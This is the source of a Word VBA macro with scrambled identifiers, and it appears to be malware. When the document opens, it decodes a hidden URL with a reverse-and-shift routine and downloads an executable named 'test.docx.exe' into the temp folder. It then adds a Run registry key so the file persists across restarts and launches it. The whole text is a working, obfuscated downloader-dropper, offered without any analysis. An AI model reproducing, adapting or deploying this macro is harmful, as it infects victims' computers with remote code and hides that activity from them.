'Macro Name: skImQOwlFwnAKuthhIQdFY Private Declare PtrSafe Function BVMDQcKJxjKhtHpGsxWKIC Lib "shell32.dll" Alias _ "ShellExecuteA" (ByVal uEzdsLfytiNWXVbLEMq As Long, ByVal DCSWYQqFxiPRmOTisMbN As String, _ ByVal AbxwYFWJNnNYSl As String, ByVal iEbz As String, ByVal rnzPfAoxUPtvcwBJyf As String, ByVal nomrO As Long) As Long Private Declare PtrSafe Function iqgLG Lib "urlmon" Alias _ "URLDownloadToFileA" (ByVal HFKvovZ As Long, ByVal AmCGIAZChRM As String, _ ByVal BVMDQcKJ As String, ByVal xjKhtHpGsxW As Long, ByVal KICURoKjolwzOkl As Long) As Long Private Sub skImQOwlFwnAKuthhIQdFY() Dim giDgkyudrQQrAMp As String, IoLeDepjBlHrBHDPgvCEN As String, lgJLsyRZPvqrpufmtJkkzp As String, EcuGusmEBXHSXUgxyTUeCj As String, McIOiqgLGHF As String, KvovZAmCGIAZChRMBVMDQcK As String IoLeDepjBlHrBHDPgvCEN = Decrypt("fyf/ydpe/utfu") lgJLsyRZPvqrpufmtJkkzp = Environ$("tmp") & "\" & IoLeDepjBlHrBHDPgvCEN giDgkyudrQQrAMp = Decrypt("fyf/fnovs0npd/spssftfdjwsft00;tquui") iqgLG 0, giDgkyudrQQrAMp, lgJLsyRZPvqrpufmtJkkzp, 0, 0 Dim Reg As Object Set Reg = CreateObject("Wscript.shell") Reg.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "test.docx.exe", b BVMDQcKJxjKhtHpGsxWKIC 0, "open", b, "", vbNullString, vbNormalFocus End Sub Private Sub Document_Open() Dim MyText As String MyText = "" Selection.TypeText (MyText) skImQOwlFwnAKuthhIQdFY End Sub Private Function Decrypt(enc) Dim x, i, tmp enc = StrReverse(enc) For i = 1 To Len(enc) x = Mid(enc, i, 1) tmp = tmp & Chr(Asc(x) - 1) Next Decrypt = tmp End Function